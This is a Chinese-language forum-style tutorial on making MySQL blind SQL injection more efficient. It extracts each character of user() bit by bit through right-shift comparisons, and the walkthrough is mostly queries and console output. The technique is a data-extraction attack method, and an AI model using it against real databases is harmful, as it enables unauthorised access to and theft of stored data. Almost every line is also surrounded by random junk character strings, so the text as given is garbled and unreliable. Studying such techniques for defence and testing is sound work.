关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
; t" e6 L9 [3 }+ i7 H* h


$ b9 Q7 K! z, e& h下面将以查询mysql数据库当中user()的第一位为例:
+ ~& V" d  S; n- r3 v# g. i1 r


( \) |- ~' T8 i0 _: Fps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
8 d" h0 Q, |, j7 f  @4 [4 y" ?

2 h" S( Y7 Z: m
首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
  i% g5 W3 L' h% A* z7 u

0 ?8 Z6 a8 c/ a  q- }# w3 c
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
5 Q6 z, f5 E; v7 i


第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 a0 W9 l) j! N% l5 t, [5 v
- o) C. {* ^6 P7 j# [; j, p) N

9 H% L# p' y8 I' g0 @7 I, L如果运算结果为1,说明第一位为0,不为1


+ x, J0 T4 l- n# Q* U$ x
- u/ Y; c8 }! a( N- Y+————————————–+

7 ^' L; s% k6 B; l( y( u| (ascii((substr(user(),1,1))) >> 7)=0 |

5 t- w, R. Y& [* E' R+————————————–+

, N; H& F* r* C1 P6 @7 s' q! i| 1 |
& a6 d  a1 j5 I) a+ A
+————————————–+

: |. H# G9 x& \1 J9 N6 K1 row in set (0.00 sec)

* e2 C0 F' z' G* _  i9 f1 X这样我们就确定这个8bit的ascii的第一位为0

7 I( M+ y$ z( Y+ }3 J
' e! J8 ^- b  C
: p+ \7 V5 \$ @2 ^$ n  v% V第二次我们来做6次右偏移来确定前两位

+ D* L6 r; d9 K8 P% ~

前两位可能是01或00,即依然可以与0做比较,
8 o$ i3 V8 B( x" H
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
3 N7 o3 j8 z5 W% P- v0 s! B
+————————————–+
0 U# b+ j+ S, Q- }% C8 @% b3 `+ S
| 0 |

9 v! \1 X/ C7 h; ?: T/ h9 ~6 g+————————————–+

3 ^8 r/ e7 x' l! \' a1 row in set (0.00 sec)

7 k: V) W) t3 G3 b/ T2 @

/ ?$ m( a# `, s2 B结果为0,即第二位为1
# Z8 E- K4 B8 n' K/ ~2 d8 A
% p- w6 d$ R6 _/ {) E  m
0 N8 a# Z6 r- c5 ]/ n) c
8 O9 b- Q" L# C开始猜测前三位为010或011
6 o+ Q, d1 s7 @1 m


让我们看看010和011的ascii码是多少



分别查询select b’011′ select b’010′


5 a& @9 r. s/ X" Q
获得结果 010 = 2 011 = 3
# H% w3 B2 }' _$ L: F
" d2 e9 n, o' c8 R$ D# W! ]
5 v5 x( f9 j( |# R! j- o2 Z
8 d; u8 x" y- B+ q# U8 m9 s) d执行如下sql:
* w  t+ ?+ u5 h0 t6 ~


mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
& R: u8 T$ ^* `/ m
. \. a/ {; e2 {7 H  I  N1 L4 V( n+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

0 r, q& w' Z' d  j3 L' N% p+————————————–+

! }& Z2 ]3 N; Q4 H| 0 |

' S) E* z* d  u( @5 L$ [+————————————–+
* W9 }3 M9 _" D" }  v6 w7 \
7 p! f1 ?% @( \! e即前三位不为010,而是011
8 E7 W. g. n5 r  V

9 U" i- {; T1 e& [
直到获得最后一位


6 \! y) y8 L4 k) y0 `7 f2 f
最终结果为:01110010

( B6 c& h2 ?( [3 u% `
0 P$ W( c$ {- _# `2 r; Q
转换一下:
. t" X' m! }, A6 I* s+ U1 w
  ]1 f/ n5 [' r8 N

select b’01110010′

" @& }" R' y% {1 Y$ `
% H* }. G7 _. S! L
查询结果
( |- R/ X. b/ p- l9 }' i% C4 e2 |
, U! l+ x6 U1 c- u
, G7 z; i( d0 H! ^' \# B/ T; H
+————-+

| b’01110010′ |

+————-+

& _, p, ]/ ?6 z  S: }( A| r |

3 X2 ~2 ?' t. {6 w8 ~* Y' _+————-+

1 row in set (0.00 sec)

* ]/ O- K2 d9 B& D8 y
7 b" t: b5 C1 ]2 M* ?
这样我们就获得了user()的第一位.其它位依此类推
$ m3 `( l/ \# b  D; q) O. U4 Y